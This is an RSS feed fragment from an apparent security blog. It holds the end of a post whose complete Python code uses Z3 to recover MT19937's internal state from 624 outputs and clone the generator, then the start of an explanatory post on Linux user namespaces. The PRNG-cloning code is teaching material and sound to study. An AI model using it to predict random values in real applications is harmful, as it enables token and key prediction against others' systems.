&lt;/a>&lt;a
href="https://blog.infosectcbr.com.au/2019/08/cryptopals-challenge-23-clone-mt19937.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">one&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/li>
&lt;li>The original PRNG in Python is available &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/python/cpython/blob/3.8/Modules/_randommodule.c"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">here&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. We did not use that one directly, because it is a C-module inside of Python and thus is not easy to access directly.&lt;/li>
&lt;li>Title picture: Photo by &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/@pixabay"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Pixabay&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
from &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/photo/6-pieces-of-black-and-white-dice-37534/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Pexels&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul>
&lt;h2 id="code">Code&lt;/h2>
&lt;p>Below is the complete Python code. Alternatively, it can be downloaded &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/attacking-a-rng/clone_MT19937.py"
class="link-background inline no-spaces"
>
&lt;span class="link-label">here&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-Python" data-lang="Python">&lt;span style="color:#999;font-style:italic">#!/usr/bin/env python&lt;/span>
&lt;span style="color:#999;font-style:italic"># Randomness is the true foundation of mathematics.&lt;/span>
&lt;span style="color:#999;font-style:italic"># -- Gregory Chaitin&lt;/span>
&lt;span style="color:#999;font-style:italic"># This code clones a pseudorandom number generator (PRNG). The&lt;/span>
&lt;span style="color:#999;font-style:italic"># attacked PRNG is the Mersenne Twister (MT19937)&lt;/span>
&lt;span style="color:#999;font-style:italic"># (https://en.wikipedia.org/wiki/Mersenne_Twister) as it is used nearly&lt;/span>
&lt;span style="color:#999;font-style:italic"># everywhere.&lt;/span>
&lt;span style="color:#999;font-style:italic"># The internal state of MT19937 consists of 624 32-bit integers. Each of&lt;/span>
&lt;span style="color:#999;font-style:italic"># those correspond to an output. In particular, there is a temper&lt;/span>
&lt;span style="color:#999;font-style:italic"># function that maps an integer of the internal state to an output. This&lt;/span>
&lt;span style="color:#999;font-style:italic"># function is invertible. I.e., there is a function &amp;#34;untemper&amp;#34; that can&lt;/span>
&lt;span style="color:#999;font-style:italic"># even be computed analytically.&lt;/span>
&lt;span style="color:#999;font-style:italic"># If I have 624 consecutive numbers from an MT19937 output, I&lt;/span>
&lt;span style="color:#999;font-style:italic"># can recover the whole internal state.&lt;/span>
&lt;span style="color:#999;font-style:italic"># I use the implementation of MT19937 from here:&lt;/span>
&lt;span style="color:#999;font-style:italic"># https://github.com/james727/MTP&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">from&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">z3&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> *
&lt;span style="color:#999;font-style:italic"># heavily based on https://github.com/james727/MTP&lt;/span>
&lt;span style="color:#999;font-style:italic"># Usage:&lt;/span>
&lt;span style="color:#999;font-style:italic"># generator = mersenne_rng(seed = 123)&lt;/span>
&lt;span style="color:#999;font-style:italic"># random_number = generator.get_random_number()&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">class&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">mersenne_rng&lt;/span>(&lt;span style="color:#24909d">object&lt;/span>):
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> __init__(self, seed=&lt;span style="color:#3677a9">5489&lt;/span>):
self.state = [&lt;span style="color:#3677a9">0&lt;/span>]*&lt;span style="color:#3677a9">624&lt;/span>
self.f = &lt;span style="color:#3677a9">1812433253&lt;/span>
self.m = &lt;span style="color:#3677a9">397&lt;/span>
self.u = &lt;span style="color:#3677a9">11&lt;/span>
self.s = &lt;span style="color:#3677a9">7&lt;/span>
self.b = &lt;span style="color:#3677a9">0x9D2C5680&lt;/span>
self.t = &lt;span style="color:#3677a9">15&lt;/span>
self.c = &lt;span style="color:#3677a9">0xEFC60000&lt;/span>
self.l = &lt;span style="color:#3677a9">18&lt;/span>
self.index = &lt;span style="color:#3677a9">624&lt;/span>
self.lower_mask = (&lt;span style="color:#3677a9">1&lt;/span> &amp;lt;&amp;lt; &lt;span style="color:#3677a9">31&lt;/span>)-&lt;span style="color:#3677a9">1&lt;/span>
self.upper_mask = &lt;span style="color:#3677a9">1&lt;/span> &amp;lt;&amp;lt; &lt;span style="color:#3677a9">31&lt;/span>
&lt;span style="color:#999;font-style:italic"># update state&lt;/span>
self.state[&lt;span style="color:#3677a9">0&lt;/span>] = seed
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> i &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">1&lt;/span>, &lt;span style="color:#3677a9">624&lt;/span>):
self.state[i] = self.int_32(
self.f*(self.state[i-&lt;span style="color:#3677a9">1&lt;/span>] ^ (self.state[i-&lt;span style="color:#3677a9">1&lt;/span>] &amp;gt;&amp;gt; &lt;span style="color:#3677a9">30&lt;/span>)) + i)
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">twist&lt;/span>(self):
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> i &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">624&lt;/span>):
temp = self.int_32(
(self.state[i] &amp;amp; self.upper_mask)+(self.state[(i+&lt;span style="color:#3677a9">1&lt;/span>) % &lt;span style="color:#3677a9">624&lt;/span>] &amp;amp; self.lower_mask))
temp_shift = temp &amp;gt;&amp;gt; &lt;span style="color:#3677a9">1&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> temp % &lt;span style="color:#3677a9">2&lt;/span> != &lt;span style="color:#3677a9">0&lt;/span>:
temp_shift = temp_shift ^ &lt;span style="color:#3677a9">0x9908b0df&lt;/span>
self.state[i] = self.state[(i+self.m) % &lt;span style="color:#3677a9">624&lt;/span>] ^ temp_shift
self.index = &lt;span style="color:#3677a9">0&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">temper&lt;/span>(self, in_value):
y = in_value
y = y ^ (y &amp;gt;&amp;gt; self.u)
y = y ^ ((y &amp;lt;&amp;lt; self.s) &amp;amp; self.b)
y = y ^ ((y &amp;lt;&amp;lt; self.t) &amp;amp; self.c)
y = y ^ (y &amp;gt;&amp;gt; self.l)
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> y
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">get_random_number&lt;/span>(self):
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> self.index &amp;gt;= &lt;span style="color:#3677a9">624&lt;/span>:
self.twist()
out = self.temper(self.state[self.index])
self.index += &lt;span style="color:#3677a9">1&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> self.int_32(out)
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">int_32&lt;/span>(self, number):
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#24909d">int&lt;/span>(&lt;span style="color:#3677a9">0xFFFFFFFF&lt;/span> &amp;amp; number)
&lt;span style="color:#999;font-style:italic"># compare with&lt;/span>
&lt;span style="color:#999;font-style:italic"># https://blog.infosectcbr.com.au/2019/08/cryptopals-challenge-23-clone-mt19937.html&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">untemper&lt;/span>(out):
&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;span style="color:#ed9d13"> This is the untemper function, i.e., the inverse of temper. This
&lt;/span>&lt;span style="color:#ed9d13"> is solved automatically using the SMT solver Z3. I could prpbably
&lt;/span>&lt;span style="color:#ed9d13"> do it by hand, but there is a certain elegance in untempering symbolically.
&lt;/span>&lt;span style="color:#ed9d13"> &amp;#34;&amp;#34;&amp;#34;&lt;/span>
y1 = BitVec(&lt;span style="color:#ed9d13">&amp;#39;y1&amp;#39;&lt;/span>, &lt;span style="color:#3677a9">32&lt;/span>)
y2 = BitVec(&lt;span style="color:#ed9d13">&amp;#39;y2&amp;#39;&lt;/span>, &lt;span style="color:#3677a9">32&lt;/span>)
y3 = BitVec(&lt;span style="color:#ed9d13">&amp;#39;y3&amp;#39;&lt;/span>, &lt;span style="color:#3677a9">32&lt;/span>)
y4 = BitVec(&lt;span style="color:#ed9d13">&amp;#39;y4&amp;#39;&lt;/span>, &lt;span style="color:#3677a9">32&lt;/span>)
y = BitVecVal(out, &lt;span style="color:#3677a9">32&lt;/span>)
s = Solver()
equations = [
y2 == y1 ^ (LShR(y1, &lt;span style="color:#3677a9">11&lt;/span>)),
y3 == y2 ^ ((y2 &amp;lt;&amp;lt; &lt;span style="color:#3677a9">7&lt;/span>) &amp;amp; &lt;span style="color:#3677a9">0x9D2C5680&lt;/span>),
y4 == y3 ^ ((y3 &amp;lt;&amp;lt; &lt;span style="color:#3677a9">15&lt;/span>) &amp;amp; &lt;span style="color:#3677a9">0xEFC60000&lt;/span>),
y == y4 ^ (LShR(y4, &lt;span style="color:#3677a9">18&lt;/span>))
]
s.add(equations)
s.check()
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> s.model()[y1].as_long()
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">recover_state_mt&lt;/span>(numbers):
&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;span style="color:#ed9d13"> This function recovers the internal state of MT19937 given a
&lt;/span>&lt;span style="color:#ed9d13"> sequence of outputs. Note that there can be multiple states of an
&lt;/span>&lt;span style="color:#ed9d13"> MT19937 that yield the same sequence of outputs.
&lt;/span>&lt;span style="color:#ed9d13"> &amp;#34;&amp;#34;&amp;#34;&lt;/span>
state = []
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> n &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> numbers[&lt;span style="color:#3677a9">0&lt;/span>:&lt;span style="color:#3677a9">624&lt;/span>]:
state.append(untemper(n))
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> state
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">main&lt;/span>():
&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;span style="color:#ed9d13"> This function tests the implementation.
&lt;/span>&lt;span style="color:#ed9d13"> We clone the RNG from its output and compare the next generated
&lt;/span>&lt;span style="color:#ed9d13"> outputs of the real and the cloned PRNG. Then, we try to recover
&lt;/span>&lt;span style="color:#ed9d13"> the seed.
&lt;/span>&lt;span style="color:#ed9d13"> &amp;#34;&amp;#34;&amp;#34;&lt;/span>
rng = mersenne_rng(&lt;span style="color:#3677a9">1337&lt;/span>)
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">f&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;real internal state of PRNG: &lt;/span>&lt;span style="color:#ed9d13">{&lt;/span>rng.state[&lt;span style="color:#3677a9">0&lt;/span>:&lt;span style="color:#3677a9">10&lt;/span>]&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13"> ...&amp;#34;&lt;/span>)
random_nums = []
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;generating random numbers&amp;#34;&lt;/span>)
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> i &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">624&lt;/span>):
random_nums.append(rng.get_random_number())
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">f&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;generated numbers: &lt;/span>&lt;span style="color:#ed9d13">{&lt;/span>random_nums[&lt;span style="color:#3677a9">0&lt;/span>:&lt;span style="color:#3677a9">10&lt;/span>]&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13"> ... &amp;#34;&lt;/span>)
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;recover internal state of PRNG&amp;#34;&lt;/span>)
recovered_state = recover_state_mt(random_nums)
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">f&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;recovered internal state: &lt;/span>&lt;span style="color:#ed9d13">{&lt;/span>recovered_state[&lt;span style="color:#3677a9">0&lt;/span>:&lt;span style="color:#3677a9">10&lt;/span>]&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13"> ... &amp;#34;&lt;/span>)
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;cloning PRNG&amp;#34;&lt;/span>)
cloned_rng = mersenne_rng()
cloned_rng.state = recovered_state
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;check equality of next 1000 outputs from the real and cloned rng&amp;#34;&lt;/span>)
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> i &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">1000&lt;/span>):
&lt;span style="color:#6ab825;font-weight:bold">assert&lt;/span>(cloned_rng.get_random_number() == rng.get_random_number())
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#39;Success!&amp;#39;&lt;/span>)
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> __name__ == &lt;span style="color:#ed9d13">&amp;#34;__main__&amp;#34;&lt;/span>:
main()&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Linux Container Primitives: User Namespaces</title><link>https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user/</link><author>Philipp Schmied</author><pubDate>Tue, 08 Sep 2020 08:56:10 +0100</pubDate><category>linux</category><category>container</category><description>
&lt;p>In the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">previous&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">part&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
of the Linux Container Primitive series, the PID and network namespaces were discussed. This post covers one of the most important namespace types in detail &amp;ndash; the user namespace. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.&lt;/p>
&lt;ol start="0">
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Containers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Capabilities&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Mount&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Description&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Related&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Information&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Leak&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Docker&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">PID&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">User&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Block&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">I/O&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Memory,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">CPU,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Freezer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h2 id="user-namespaces">User Namespaces&lt;/h2>
&lt;p>This namespace type introduces mapping user and group IDs and the isolation of capabilities per-namespace. For instance, a process can run with a non-zero UID outside of a user namespace while having a UID of zero in a namespace. This ultimately enables unprivileged users to have root privileges in isolated environments. Moreover, this is the only namespace type not requiring the &lt;code>CAP_SYS_ADMIN&lt;/code> capability, allowing unprivileged users to create this namespace type.&lt;/p>
&lt;p>By mapping the UID in the namespace to the original UID, all changes and actions introduced by a user will be mapped to the set of privileges a user holds in the parent namespace. This prevents actions in the global system context that the user normally would not be allowed to perform. This includes sending signals to processes outside of the current namespace and accessing files [1]. For example, a user with root privileges in a namespace is not able to read the &lt;code>/etc/shadow&lt;/code> file because the original privileges do not allow to do so. The same applies to the mapping of GID values. Applied changes, for example creating new files, will be shown as originating from the user outside of the namespace. Likewise, calling &lt;code>stat&lt;/code> will map IDs in the opposite direction in order to create a correlation in regard to the applied mappings.&lt;/p>
&lt;p>This namespace type can also be nested, similar to PID namespaces. Using &lt;code>ioctl&lt;/code> operations it&amp;rsquo;s possible to inspect the relationships between different user namespaces.&lt;/p>
&lt;p>By default, a process only has a specific capability in a user namespace in case it&amp;rsquo;s a member of the user namespace and the capability is present in the corresponding capability set.&lt;/p>
&lt;p>Linux capabilities are aware of user namespaces as can be seen in the function &lt;code>has_ns_capability&lt;/code> of &lt;code>kernel/capability.c&lt;/code>: With this function the kernel is able to check whether a process, as represented by a &lt;code>task_struct&lt;/code> in the kernel code, has a capability in a specific user namespace. By default, the first process in a new user namespace is granted a full set of capabilities in that namespace. While having all capabilities in the user namespace, the process does not have &lt;em>any&lt;/em> capabilities in the parent user namespace. This means:&lt;/p>
&lt;ul>
&lt;li>A process with all capabilities in a user namespace is able to perform privileged operations on resources that are solely governed by this specific user namespace.&lt;/li>
